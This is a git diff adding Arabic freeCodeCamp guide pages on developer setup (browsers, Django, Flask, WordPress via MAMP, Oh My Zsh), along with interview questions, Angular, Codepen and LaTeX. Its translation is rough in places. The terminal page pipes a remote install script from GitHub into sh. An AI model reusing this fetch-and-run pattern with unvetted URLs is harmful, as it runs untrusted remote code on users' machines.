+متصفحات الويب الأكثر شيوعًا التي يستخدمها المطورون هي [Chrome](https://www.google.com/chrome/) / [Chromium](https://www.chromium.org/) و [Firefox Developer Edition](https://www.mozilla.org/firefox/developer/) .
+
+**تثبيت Chromium:**
+
+ `sudo apt-get install chromium-browser 
+` 
+
+**تثبيت إصدار مطور Firefox:**
+
+ `sudo add-apt-repository ppa:ubuntu-mozilla-daily/firefox-aurora 
+ sudo apt-get update 
+ sudo apt-get install firefox 
+` 
+
+![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") السابق ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:") الصفحة الرئيسية ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:") | التالى ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")  
+[**jazzing حتى المحطة**](//forum.freecodecamp.com/t/jazzing-up-the-terminal/18386) | [**جدول المحتويات**](//forum.freecodecamp.com/t/setting-up-ubuntu-for-programming/18388) | [**تنزيل برامج تحرير النصوص و IDEs**](//forum.freecodecamp.com/t/downloading-text-editors-and-ides/18384)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/installing-django-in-virtual-environment/index.md b/client/src/guide/arabic/miscellaneous/installing-django-in-virtual-environment/index.md
new file mode 100644
index 0000000000..0de03de48c
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/installing-django-in-virtual-environment/index.md
@@ -0,0 +1,32 @@
+---
+title: Installing Django in Virtual Environment
+localeTitle: تثبيت Django في بيئة افتراضية
+---
+[Django](https://www.djangoproject.com) إطار عمل برأيك يساعدك على أن تصبح منتجًا. على سبيل المثال ، بنية الملف عند إنشاء مشروع Django. ولكن إذا كنت ترغب في استكشاف مجال تطوير الويب في بايثون بالتفصيل ؛ ربما [قارورة](http://flask.pocoo.org/) هو أكثر حتى زقاق الخاص بك. لا تتردد في تخطي هذا الجزء من المقالة والانتقال مباشرة إلى [مساعدة تثبيت القارورة](#installing-flask-in-virtual-environment)
+
+حتى كتابة هذه السطور ، كان الإصدار الحالي لـ Django هو Django 1.9.2. لكن عندما تقرأ هذا ، الآن ، قد يكون أعلى.
+
+دليل التثبيت الرسمي متاح [هنا](https://docs.djangoproject.com/en/1.9/intro/install/#install-django) . يجب عليك تثبيت أحدث إصدار ثابت ومستقر. **وليس** أحدث إصدار تطوير (إلا إذا كنت تعرف ما تقوم به وترغب في العيش بشكل خطير!)
+
+ولكن قبل البدء في التثبيت ، تأكد من أنك داخل بيئة افتراضية **نشطة** ؛ حيث سيبدو تشغيل الأمر التالي في الجهاز الطرفي كما يلي:
+
+ `$ python --version 
+ Python 3.5.1 
+` 
+
+قد لا يكون `3.5.1` لك. يمكن أن يكون جيدًا `3.4.3` . ولكن هذا لا بأس به ، طالما أنه لا يُظهر أنها `2.7.9` أو أي شيء آخر يبدأ بـ `2` .
+
+بمجرد التأكد من أنك في بيئة افتراضية مفعلة ، يشير أمر `python` إلى بايثون من الإصدار 3 ؛ أنت مستعد لتثبيت Django. فقط اتبع [دليل التثبيت](https://docs.djangoproject.com/en/1.9/topics/install/#installing-official-release) الرسمي وتثبيته مع `pip` ، مدير حزمة بايثون.
+
+بمجرد تركيبها ؛ سيكون من المستحسن التحقق من كل ما `pip` بتثبيته. عن طريق تنفيذ الأمر التالي:
+
+ `$ pip freeze 
+` 
+
+هذا من شأنه إخراج قائمة وحدات مثبتة مع بايثون الحالية ؛ ويجب أن تشاهد جانغو مع الإصدار المناسب (شيء مثل `Django==1.9.2` في القائمة.
+
+إذا كنت ترغب في استخدام Windows ، فإن المناقشة أعلاه لا تنطبق عليك. ربما لديك فقط إمكانية الوصول إلى جهاز يعمل بنظام Windows ، ولأسباب شخصية معينة ، تفضل عدم العمل على مربع Linux يستند إلى مستعرض على السحابة (اتصال بطيء ، ربما؟).
+
+قد تتمكن من متابعة هذا [البرنامج التعليمي](https://docs.djangoproject.com/en/1.9/howto/windows/) وإعداد Django مع Python 3 في جهاز Windows الخاص بك.
+
+أو، يمكنك استخدام [فيرتثلبوإكس](https://www.virtualbox.org/) مع [المتشرد](https://www.vagrantup.com/) مربع للتنمية جانغو مباشرة في جهازك!
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/installing-flask-in-virtual-environment/index.md b/client/src/guide/arabic/miscellaneous/installing-flask-in-virtual-environment/index.md
new file mode 100644
index 0000000000..1f8ab80bdd
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/installing-flask-in-virtual-environment/index.md
@@ -0,0 +1,100 @@
+---
+title: Installing Flask in Virtual Environment
+localeTitle: تركيب قارورة في بيئة افتراضية
+---
+إذا كنت ترغب في استخدام قارورة ، فأنت في المكان الصحيح! ولكن تثبيت قارورة ، فقط لأنك ترغب في استكشاف تطوير الويب في قارورة. نحن نوصي دجانجو دائمًا بالمرشح لأنه يصعب بناء تطبيقات الويب الكبيرة في القارورة ؛ إذا كنت جديدا على تطوير الويب في بيثون.
+
+قارورة هو إطار صغير. ويمكنك اختيار الوظيفة التي ترغب في الحصول عليها عبر الوظيفة الأساسية التي تتوفر لديك بالفعل من إطار ويب قياسي. ولكن إذا كنت لا ترغب في القيام بكل المتاعب والتركيز على بناء فكرتك. ربما سيكون دجانجو شركة أفضل على الطريق.
+
+سأفترض أنك **لم** تخطي المقطع حول تثبيت Python 3 واستخدامه داخل بيئة افتراضية.
+
+تأكد أولاً أنك لست داخل بيئة افتراضية بالفعل. ثم قم بإنشاء بيئة افتراضية جديدة ، سميت `py3-flask`
+
+ `$ mkvirtualenv py3-flask --python=/usr/bin/python3 
+` 
+
+الآن ، قم بتنفيذ الأمر `workon` لمشاهدة قائمة بالبيئات الظاهرية في جهازك. هذا ينبغي أن تدرج `py3-flask` في خط.
+
+بعد ذلك ، قم بتنشيط هذه البيئة:
+
+ `$ workon py3-flask 
+` 
+
+سيتم تنشيط البيئة الافتراضية الخاصة بك مع نسخة من مترجم Python ، مع خصائص Python 3. يجب عليك الركض
+
+ `$ python --version 
+` 
+
+لضمان أنك بالفعل داخل بيئة بايثون 3.
+
+فقط لتوضيح ذلك ، إذا كنت قد قمت بالفعل بتثبيت Django بعد القسم السابق - يجب **ألا** يكون في هذه البيئة. نحن نستخدم بيئة افتراضية. للحفاظ على تركيبنا للأطر المختلفة منفصلة.
+
+للتأكد ، قم بتشغيل
+
+ `pip freeze 
+` 
+
+تأكد من عدم سرد Django في قائمة المخرجات التي تم إنشاؤها بواسطة الأمر أعلاه.
+
+الآن ، دعونا تثبيت قارورة. للاطلاع على نطاقك ، إليك [دليل التثبيت الرسمي](http://flask.pocoo.org/docs/0.10/installation/) . ومع ذلك ، يفضل الكثير من المطورين تثبيت بعض الحزم الإضافية باستخدام Flask ؛ لمزيد من الوظائف.
+
+لتثبيت فقط قارورة ، exeute
+
+ `$ pip install flask 
+` 
+
+عند تشغيل `pip freeze` مرة أخرى ، يجب أن تظهر لك `Flask` في الحزم المدرجة.
+
+من بطء تشغيل أوامر طويلة مثل هذا. لحسن الحظ ، هناك شيء مثل `package.json` في نطاق بايثون أيضًا - قائمة من التبعيات ، والتي يمكن أن يستخدمها مدير الحزمة لتكرار البيئة عن طريق تنزيلها بإصدار مناسب من الريبو المركزي.
+
+المعيار هو استخدام `pip freeze` وتسجيل الإخراج إلى ملف محلي ، والتي يمكن التحكم فيها المصدر.
+
+ `$ pip freeze > requirements.txt 
+` 
+
+فيما يلي محتوى `requirements.txt` من البيئة الخاصة بي ، بعد تثبيت تلك الحزم قارورة. يمكنك إضافة أو إزالة المزيد من الحزم مع نمو التطبيق الخاص بك ؛ ولكن الآن ، فقط قم بنسخ لصق محتوى ما يلي في ملف نصي في نفس الدليل الذي أنت فيه.
+
+ `Babel==2.2.0 
+ Flask==0.10.1 
+ Flask-Babel==0.9 
+ Flask-Login==0.3.2 
+ Flask-Mail==0.9.1 
+ Flask-OpenID==1.2.5 
+ Flask-SQLAlchemy==2.1 
+ Flask-WTF==0.12 
+ Flask-WhooshAlchemy==0.56 
+ Jinja2==2.8 
+ MarkupSafe==0.23 
+ SQLAlchemy==1.0.12 
+ Tempita==0.5.2 
+ WTForms==2.1 
+ Werkzeug==0.11.4 
+ Whoosh==2.7.2 
+ blinker==1.4 
+ coverage==4.0.3 
+ decorator==4.0.9 
+ defusedxml==0.4.1 
+ flipflop==1.0 
+ guess-language==0.2 
+ itsdangerous==0.24 
+ pbr==1.8.1 
+ python3-openid==3.0.9 
+ pytz==2015.7 
+ six==1.10.0 
+ speaklater==1.3 
+ sqlalchemy-migrate==0.10.0 
+ sqlparse==0.1.18 
+` 
+
+هذه القائمة من الحزم مأخوذة من [هنا](http://blog.miguelgrinberg.com/post/the-flask-mega-tutorial-part-i-hello-world) .
+
+بمجرد حفظ الملف ، فقط قم بتشغيل
+
+ `$ pip install -r requirements.txt 
+` 
+
+سيهتم مدير الطرد بتركيب الطرود المفقودة لك! ويجب عليك الالتزام بهذا الملف مع نظام التحكم في المصدر الخاص بك.
+
+تفترض مجموعة الأوامر المذكورة أعلاه أن لديك جهاز Linux أو جهاز Mac OSX؛ أو كنت تستخدم صندوقًا مستضافًا على السحاب على cloud9 أو Nitrous ؛ أو ربما كنت تستخدم مربع Vagrant.
+
+ولكن ، إذا كان عليك استخدام جهاز Windows ، ففكر في استخدام Windows Powershell ، بدلاً من Windows CMD. معظم الأوامر ستكون نفسها. في حال كنت بحاجة إلى أي مساعدة ، قد ترغب في التحقق من [مناقشة Stack Overflow](http://stackoverflow.com/questions/17917254/how-to-install-flask-on-windows) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/installing-wordpress-locally-on-mac/index.md b/client/src/guide/arabic/miscellaneous/installing-wordpress-locally-on-mac/index.md
new file mode 100644
index 0000000000..12f1a6405d
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/installing-wordpress-locally-on-mac/index.md
@@ -0,0 +1,60 @@
+---
+title: Installing Wordpress Locally on Mac
+localeTitle: تثبيت وورد محلياً على ماك
+---
+سيسمح لك تثبيت WordPress محليًا ببناء موضوعات بأمان وسيسمح لك بتجربة WordPress مجانًا دون دفع أية تكاليف مقابل الاستضافة.
+
+## التنزيلات المطلوبة:
+
+*   [MAMP](https://www.mamp.info/en/)
+*   [وورد](https://wordpress.org/about/)
+
+الخطوة الأولى لتثبيت WordPress محليًا هي تنزيل MAMP. MAMP يرمز إلى Macintosh و Apache و MySQL و PHP. هذا هو الخادم المحلي الذي سيقوم بتشغيل التثبيت الجديد من WordPress. يجب أن يكون تثبيت MAMP سهلاً لأنه يشبه تثبيت أي تطبيق آخر.
+
+بعد تثبيت MAMP ، ستحتاج إلى إلغاء تثبيت برنامج MAMP pro. للقيام بذلك ، ما عليك سوى الانتقال إلى مجلد التطبيقات والعثور على مجلد MAMP pro. سيكون هناك برنامج إلغاء تثبيت داخل هذا المجلد. اخترت النقر فوق كافة خانات الاختيار ، لأنه تثبيت جديد من MAMP.
+
+## تكوين MAMP
+
+افتح تطبيق MAMP ويجب أن تستقبل بهذه الشاشة:
+
+يجب أن نضبط بعض التفضيلات ، لذا انقر فوق رمز التفضيلات. على شاشة التفضيلات انقر على `Ports` .
+
+هنا يمكنك ترك المنافذ كما هي التي تتطلب منك تضمين رقم المنفذ في عنوان URL `localhost:8888` .
+
+إذا كنت لا ترغب في تضمين رقم المنفذ في عنوان URL ، يمكنك تغيير منافذ Apache و MySQL إلى 80. السبب الذي اخترت عدم القيام به هو أنك ستطلب منك دائمًا كلمة المرور الخاصة بك
+
+بعد ذلك ، ستقوم بالنقر فوق علامة التبويب Apache وتعيين جذر المستند. اخترت إنشاء مجلد جديد يسمى "Sites" في مجلد المستخدم الخاص بي.
+
+الآن بعد أن انتهينا من تحرير جميع الإعدادات ، اضغط على موافق للحفظ.
+
+## بدء MAMP
+
+لبدء MAMP ، انقر على "بدء الخوادم".
+
+هذا يجب فتح نافذة جديدة مع العنوان `http://localhost:8888/MAMP/?language=English` في متصفح الويب الخاص بك.
+
+إذا لم يتم فتح المستعرض الخاص بك ، فيجب أن تتمكن من النقر فوق `Open WebStart page` .
+
+إنشاء قاعدة بيانات
+
+الخطوة التالية هي النقر فوق رابط `phpMyAdmin` تحت MySQL والذي سيأخذك إلى هذه الصفحة:
+
+انقر فوق جديد في قائمة التنقل اليمنى.
+
+أدخل اسمًا لقاعدة البيانات ثم انقر فوق إنشاء. اخترت "وورد".
+
+## تثبيت وورد
+
+قم بفك ضغط ملف WordPress الذي قمت بتنزيله وسحب محتوياته إلى المجلد الذي قمت بإنشائه مسبقًا كجذر المستند الخاص بك.
+
+بمجرد نسخ الملفات ، انتقل إلى `localhost:8888` .
+
+اختر اللغة التي تريدها ، وفي الشاشة التالية ، انقر فوق `Let's Go` .
+
+أدخل اسم قاعدة البيانات التي قمت بإنشائها ، و "الجذر" لاسم المستخدم وكلمة المرور ، وانقر فوق تقديم.
+
+انقر فوق `Run the install` ، وفي الشاشة التالية أدخل تفاصيل تسجيل الدخول الخاص بك.
+
+انقر فوق `Submit` ، وسيتم نقلك إلى تسجيل الدخول إلى WordPress المستضاف المحلي الخاص بك.
+
+نجاح! قم بتسجيل الدخول باستخدام اسم المستخدم وكلمة المرور اللذين قمت بإنشائهما.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/integrated-development-environment/index.md b/client/src/guide/arabic/miscellaneous/integrated-development-environment/index.md
new file mode 100644
index 0000000000..c99d76727d
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/integrated-development-environment/index.md
@@ -0,0 +1,11 @@
+---
+title: Integrated Development Environment
+localeTitle: بيئة تطوير متكاملة
+---
+تم تصميم **بيئات التطوير المتكاملة** لزيادة إنتاجية المبرمجين من خلال توفير مكونات مترابطة مع واجهات مستخدم متماثلة. تقدم IDEs برنامج واحد يتم فيه تطوير كل شيء. يوفر هذا البرنامج عادة العديد من الميزات للتأليف ، والتعديل ، والتجميع ، والنشر ، وتصحيح البرامج. يتناقض ذلك مع تطوير البرامج باستخدام أدوات غير ذات صلة ، مثل vi أو GCC أو make.
+
+يتمثل أحد أهداف IDE في تقليل التكوين الضروري لتجميع أدوات التطوير المتعددة ، بدلاً من توفير نفس مجموعة القدرات كوحدة متماسكة. يمكن أن يؤدي تقليل وقت الإعداد إلى زيادة إنتاجية المطورين ، في الحالات التي يكون فيها تعلم استخدام IDE أسرع من دمج كافة الأدوات الفردية يدويًا. إن التكامل الأكثر صرامة بين جميع مهام التطوير لديه القدرة على تحسين الإنتاجية الكلية إلى أبعد من مجرد المساعدة في مهام الإعداد. على سبيل المثال ، يمكن تحليل الشفرة بشكل مستمر أثناء تعديلها ، وتقديم تعليقات فورية عند تقديم أخطاء في بناء الجملة. يمكن أن يسرع تعلم لغة برمجة جديدة ومكتباتها المرتبطة بها.
+
+يتم تخصيص بعض IDEs لبرمجة لغة معينة ، مما يسمح لمجموعة الميزات التي تتطابق بشكل كبير مع نماذج البرمجة للغة. ومع ذلك ، هناك العديد من IDEs متعددة اللغات ، مثل Eclipse و ActiveState Komodo و IntelliJ IDEA و MyEclipse و Oracle JDeveloper و NetBeans و Codenvy و Microsoft Visual Studio. تم تكريس Xcode و Xojo و Delphi بلغة مغلقة أو مجموعة من لغات البرمجة.
+
+على الرغم من أن IDEs الأكثر حداثة هي رسوم بيانية ، فإن IDEs المستندة إلى النصوص مثل Turbo Pascal كانت تستخدم بشكل شائع قبل التوافر الواسع لأنظمة النوافذ مثل Microsoft Windows و X Window System (X11). وهي تستخدم عادة مفاتيح الوظائف أو مفاتيح الاختصار لتنفيذ الأوامر أو وحدات الماكرو المستخدمة بكثرة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/interview-questions-for-junior-front-end-web-developers/index.md b/client/src/guide/arabic/miscellaneous/interview-questions-for-junior-front-end-web-developers/index.md
new file mode 100644
index 0000000000..f2c2edef36
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/interview-questions-for-junior-front-end-web-developers/index.md
@@ -0,0 +1,48 @@
+---
+title: Interview Questions for Junior Front End Web Developers
+localeTitle: أسئلة المقابلة لمطوري ويب Front End
+---
+الغرض من هذه المقالة هو تعريف مطوري الويب الأمامية الجديدة بأسئلة كتابية. إذا كنت تدخل عالم المطورين ، فستكون هناك فرصة جيدة لأن تشعر بالتوتر عند إجراء مقابلة مع أحد مطوري البرامج. وبسبب هذا ، قد تشعر بعض الأسئلة الأساسية نسبيًا بصعوبة أكبر من الكيفية التي تكون بها بالفعل. يتم إعداد عداد جيد لهذا السيناريو بشكل صحيح.
+
+## الأسئلة
+
+بدون مزيد من اللغط ، إليك بعض الأسئلة التي قد تواجهها:
+
+### HTML / CSS
+
+1.  في سياق تصميم CSS ، هل يمكنك شرح ما هو `display-style: inline-block` stand `display-style: inline-block` stand for؟
+2.  إذا كان لديك عنصر `<ul>` يحتوي على عدة عناصر `<li>` ، فكيف ستقوم بإعداد هذه العناصر في صف باستخدام HTML و CSS؟
+3.  في تصميم CSS متى تستخدم `float` s؟ كيف يعملون؟
+4.  متى تستخدم: `clear: both;` ؟
+5.  ما هو Bootstrap؟ متى تستخدمه؟ كيف يعمل نظام شبكتها؟
+6.  شرح مفهوم التصميم المتجاوب وكيف يعمل؟ استخدم مثالاً إذا أردت.
+7.  ما هو DOM؟ ماذا تعرف عنه؟
+8.  ما هو ساس؟ ما هي مزايا استخدامه؟
+
+### جافا سكريبت
+
+1.  ما هو ECMAScript؟
+2.  ما هو jQuery وما يستخدم عادة؟
+3.  ما الفرق بين `==` و `===` في JS؟
+4.  هل يمكنك تعداد جميع أنواع بيانات جافا سكريبت؟
+5.  ما هي وظيفة رد الاتصال في JS ومتى تستخدم واحدة؟
+6.  ما هو الفرق بين `undefined` و `null` ؟
+7.  ما هو استجابة التزامن؟
+8.  ماذا تعني JSON؟ ما هو استخدامها ل؟
+9.  كيف تشرح طلب واجهة برمجة التطبيقات؟
+10.  ما هي واجهات برمجة التطبيقات التي عملت معها؟
+11.  كيف يمكنك إرسال / تحويل إلى تنسيق JSON؟
+12.  ما الفرق بين `GET` و `POST` عند تحديد طلب AJAX؟
+
+### البرامج / الأدوات
+
+1.  هل عملت مع فوتوشوب كمطور أمامي؟ لأي سبب؟
+2.  ما نظام إصدار إصدارات البرامج الذي استخدمته؟ هل يمكن أن تصف كيف سيبدو سير العمل في هذا النظام؟
+
+### حولك
+
+1.  ما هو أصعب مشروع عملت به على الإطلاق؟ لماذا كان من الصعب؟ إذا كان تطبيق / خوارزمية يمكنك شرح كيف يعمل؟
+2.  كيف يمكنك البقاء على اطلاع بأحدث أخبار التكنولوجيا؟
+3.  ما هي المشاريع الجانبية التي كنت تعمل عليها؟
+4.  هل هناك أي لغات أو أطر عمل ترغب في تعلمها في المستقبل؟ كيف ستدرس نفسك؟ لماذا اخترت هذه اللغات / أطر العمل؟
+5.  ما هي أهم المهارات والصفات التي يجب أن يمتلكها مطوّر الواجهة الأمامية؟
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/introduction-to-yeoman/index.md b/client/src/guide/arabic/miscellaneous/introduction-to-yeoman/index.md
new file mode 100644
index 0000000000..d7db7fc696
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/introduction-to-yeoman/index.md
@@ -0,0 +1,7 @@
+---
+title: Introduction to Yeoman
+localeTitle: مقدمة لليومان
+---
+Yeoman هي أداة تسمح لك بتوليد تطبيقات المجردة استنادًا إلى حزم برامج مختلفة باستخدام حزم "المولد" التي يقوم بها المطورون الذين يرغبون في جعل حياتك أسهل. تعمل هذه الحزم على تبسيط وقتك في تطوير ونشر مواقع الويب باستخدام النظام الأساسي الذي تختاره. نحن نستخدم مولد MEAN كاملًا (MongoDB، ExpressJS، AngularJS، NodeJS) يدعى [مولد-زاوي-فولستاك](https://github.com/DaftMonk/generator-angular-fullstack) بواسطة DaftMonk.
+
+بمجرد إكمال التحدي: الحصول على تعيين لمشاريع النهاية الخلفية ، استخدم هذا الدليل للتنقل في البنية الأساسية لتطبيقك الجديد ومعرفة كيفية التفاعل مع قاعدة البيانات وكذلك المستخدم.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/jazzing-up-the-terminal/index.md b/client/src/guide/arabic/miscellaneous/jazzing-up-the-terminal/index.md
new file mode 100644
index 0000000000..032571d388
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/jazzing-up-the-terminal/index.md
@@ -0,0 +1,45 @@
+---
+title: Jazzing Up the Terminal
+localeTitle: Jazzing فوق المحطة
+---
+من خارج منطقة الجزاء ، المحطة الطرفية التي يتم شحنها مع أوبونتو هي لطيف قليلا. سيسمح لك هذا القسم بأن تصبح مستخدمًا للطاقة ![:muscle:](//forum.freecodecamp.com/images/emoji/emoji_one/muscle.png?v=2 ":عضلة:") .
+
+## أدوات:
+
+#### المنهي
+
+يسمح لك [Terminator](https://launchpad.net/terminator) بترتيب أطراف طرفية متعددة في واجهة تشبه الشبكة.  
+لتثبيت Terminator أدخل `sudo apt-get install terminator` في الجهاز.
+
+لقطة شاشة من المنهي:
+
+![لقطة للشاشة من المنهي](//discourse-user-assets.s3.amazonaws.com/original/2X/6/6af4988ebfb1835ff3c19366865eaaaaf224cb19.png)
+
+#### يا بلدي ZSH!
+
+الشروط:
+
+*   يجب تثبيت `git`
+
+لتثبيت `ZSH` و `Oh My ZSH!` استخدم الأوامر التالية:
+
+ `sudo apt install zsh && chsh -s $(which zsh) 
+` 
+
+> ملاحظة: ستحتاج إلى تسجيل الخروج واستخدامه مرة أخرى لاستخدام ZSH بدلاً من bash باعتباره shell الافتراضي.
+
+ `sh -c "$(curl -fsSL https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh)" 
+` 
+
+بمجرد إعادة تشغيل الجهاز الخاص بك ، `Oh My ZSH!` يجب أن يتم تثبيتها.
+
+الخروج من [الوثائق الرسمية](https://github.com/robbyrussell/oh-my-zsh/wiki) لمعرفة كيفية تثبيت المكونات والموضوعات.
+
+#### دروس متقدمة
+
+*   [تحطم سطر الأوامر](http://cli.learncodethehardway.org/book/)
+*   [فن خط القيادة](https://github.com/jlevy/the-art-of-command-line)
+*   [تعلم ما يكفي من خط القيادة ليكون خطرا](https://www.learnenough.com/command-line-tutorial)
+
+![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") السابق ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:") الصفحة الرئيسية ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:") | التالى ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")  
+[**تخصيص أوبونتو**](//forum.freecodecamp.com/t/customizing-ubuntu/18382) [**جدول المحتويات**](//forum.freecodecamp.com/t/setting-up-ubuntu-for-programming/18388) | [**تثبيت DevTools ومتصفحات الويب الحديثة**](//forum.freecodecamp.com/t/installing-devtools-and-modern-web-browsers/18385)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/keep-data-in-sync-in-angular/index.md b/client/src/guide/arabic/miscellaneous/keep-data-in-sync-in-angular/index.md
new file mode 100644
index 0000000000..b8f6a63582
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/keep-data-in-sync-in-angular/index.md
@@ -0,0 +1,24 @@
+---
+title: Keep Data in Sync in Angular
+localeTitle: حافظ على البيانات في المزامنة في Angular
+---
+لنفترض أنك تريد ظهور شيء ما في طريقة عرض المستخدم عند إضافته إلى قاعدة البيانات. وهناك وجوه _الشيء_ الجديد تظهر على الفور حتى في حلقة _نانوغرام تكرار_ في عرض HTML الخاص بك إذا كنت ببساطة إضافته إلى مجموعة محلية مع
+
+ `$scope.awesomeThings.push(newThing); 
+` 
+
+ولكن ستظل بحاجة إلى إضافته إلى مجموعة قواعد البيانات الخاصة بك. أضفه إلى مجموعتك مع
+
+ `$http.post('/api/things', newThing); 
+` 
+
+لكن انتظر! فسوف ندرك قريبا أنه في حين أن جميع الأشياء الأخرى الخاصة بك في مجموعة _$ scope.awesomeThings_ لها هويات فريدة يكلفه بها MongoDB (تحت _الشيء._ الملكية id\_)، وجوه _newThing_ الخاص بك لن تقوم، والتي سوف تجعل من الصعب بالنسبة لك في مرحلة ما ل جعل الإجراءات قاعدة البيانات على أنها (حذفها من قاعدة البيانات الخاصة بك يتطلب منك استخدام _لها._ الملكية id\_). ما الذي ستفعله بعد إضافته إلى صفيف _نطاق $.awesomeThings_ (لأننا نريده أن يظهر على صفحة المستخدم على الفور). إجمالاً ، سوف تبدو التعليمات البرمجية الخاصة بك لإضافة newThing إلى الصفيف المحلي وقاعدة البيانات الخاصة بك:
+
+ `$scope.awesomeThings.push(newThing); 
+ $http.post('/api/things', newThing).success(function(thatThingWeJustAdded) { 
+    $scope.awesomeThings.pop(); // let's lose that id-lacking newThing 
+    $scope.awesomeThings.push(thatThingWeJustAdded); // and add the id-having newThing! 
+ }; 
+` 
+
+هذا يقوم بتحديث الصفيف المحلي للحصول على نتائج فورية _لمستخدمك ثم يقوم بمزامنتها_ مع قاعدة البيانات الخاصة بك ويقوم بتحديث الصفيف المحلي في الخلفية بإصدار قاعدة البيانات الخاصة _بكالجهاز newThing_ ، الفريد _._ id\_ وجميع. لاحظ أن رد الاتصال الذي نمرره إلى وظيفة _النجاح_ يتلقى _الشيء_ الجديد من قاعدة البيانات كحجة! بهذه الطريقة يمكنك بسهولة إضافتها إلى نطاقك المحلي دون الكثير من النفقات العامة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/known-issues-with-codepen/index.md b/client/src/guide/arabic/miscellaneous/known-issues-with-codepen/index.md
new file mode 100644
index 0000000000..550c6192bf
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/known-issues-with-codepen/index.md
@@ -0,0 +1,16 @@
+---
+title: Known Issues with Codepen
+localeTitle: المشاكل المعروفة مع Codepen
+---
+يتم تشجيع المتعلمين Free Code Camp على استخدام [Codepen.io](http://www.codepen.io/) لوضع المشاريع ، ويعتبر Codepen مصدرا رائعا لجمع التعليمات البرمجية القابلة للاستخدام بسرعة. ومع ذلك ، يقوم Codepen بتقديم مستوى إضافي من التجريد في عملية تصحيح الأخطاء البرمجية. فيما يلي بعض المشكلات المعروفة التي يمكن أن تقوم برحلتك في Codepen ، إذا لم تكن على علم بها:
+
+1.  **مشكلة عنوان URL مع علامات الربط:** يلغي CodePen `<a href='URL'>` عناصر الربط ، مما يعني أنه يجب عليك إضافة `target='_blank'` إلى عناصر الارتساء - وإلا لن تعمل.
+2.  **مشكلة المكون الإضافي https:** من المعروف أن إضافة Chrome "HTTPS Everywhere" (التي أنشأتها [مؤسسة Electronic Frontiers](http://www.eff.org/) ) تتداخل مع مكالمات AJAX. نظرًا لأن الإضافة تستخدم HTTPS تلقائيًا ، يمكن أن يتسبب في حدوث خطأ "محتوى مختلط" يمنع تحميل بيانات JSON / XML. إذا واجهت مثل هذا الخطأ ، فتأكد من أن المكونات الإضافية ليست هي السبب. اختياريًا ، يمكنك استخدام [crossorigin.me كخادم](http://crossorigin.me) وكيل.
+3.  **imgur hotlinking:** إذا كنت تستخدم الصور من [http://imgur.com](http://imgur.com) فإنها لن تظهر في معظم الوقت ، وهذا يرجع إلى TOS. طريقة لحل هذه المشكلة هي استخدام خدمة بديلة مثل [http://postimg.org](http://postimg.org)
+4.  **إعادة التحميل التلقائي:** بشكل افتراضي ، في كل مرة تقوم فيها بإجراء تغييرات في نوافذ محرر HTML أو JS ، يتم تحديث نافذة المعاينة. يمكنك إيقاف هذا وتمكين "زر التشغيل" ، من خلال الانتقال إلى الإعدادات> السلوك> "هل ترغب في تشغيل زر؟" وإلغاء تحديد المربع.
+5.  **location.reload:** إذا واجهت مشكلة في التعليمة البرمجية تعمل في طريقة عرض التصحيح أو في JSFiddle ، ولكن ليس في طريقة عرض محرر Codepen أو عرض الصفحة الكاملة ، تحقق مرة أخرى من استخدام `location.reload()` . إذا قمت بذلك ، يجب عليك إيجاد طريقة أخرى لتحقيق المطلوب ، لأن Codepen سيقوم بتجريد `location.reload` ويترك فقط `()` في التعليمات البرمجية. اقرأ المزيد [هنا:](https://blog.codepen.io/documentation/editor/things-we-strip/)
+6.  **عرض الصور ، إضافة ملفات css / js ، المستضافة على Github:** قد ترغب في تضمينها في ورقة أنماط مشروع Codepen ، أو ملف الصورة أو js المستضافة على Github. إذا قمت بإضافة ارتباط Github لملفك إلى إعداداتك في Codepen ، أو إلى html / css الخاص بك لن يعمل خارج المربع. ما عليك القيام به هو:
+    1.  انتقل إلى الإصدار "الخام" من الملف
+    2.  انسخ عنوان URL
+    3.  قم بتغيير `raw.githubusercontent.com` إلى `rawgit.com`
+    4.  استخدم عنوان URL هذا للارتباط بملفات مستضافة على جيثب
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/learn-a-little-about-latex/index.md b/client/src/guide/arabic/miscellaneous/learn-a-little-about-latex/index.md
new file mode 100644
index 0000000000..b17b1ec96f
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/learn-a-little-about-latex/index.md
@@ -0,0 +1,47 @@
+---
+title: Learn a Little About Latex
+localeTitle: تعلم القليل عن اللاتكس
+---
+تم تصميم LaTeX لإنتاج الوثائق التقنية والعلمية. يمكنك إنشاء مصفوفة ، المصفوفات أو عدة وظائف الرياضيات الأخرى.
+
+`$$ (latex language) $$`
+
+يمكنك تضمين Latex في GitterIM. أمثلة:
+
+## مجموعة مصفوفة
+
+ `$$\begin{array} {cc} 
+ arr11 & arr12\\ 
+ arr21 & arr22\\ 
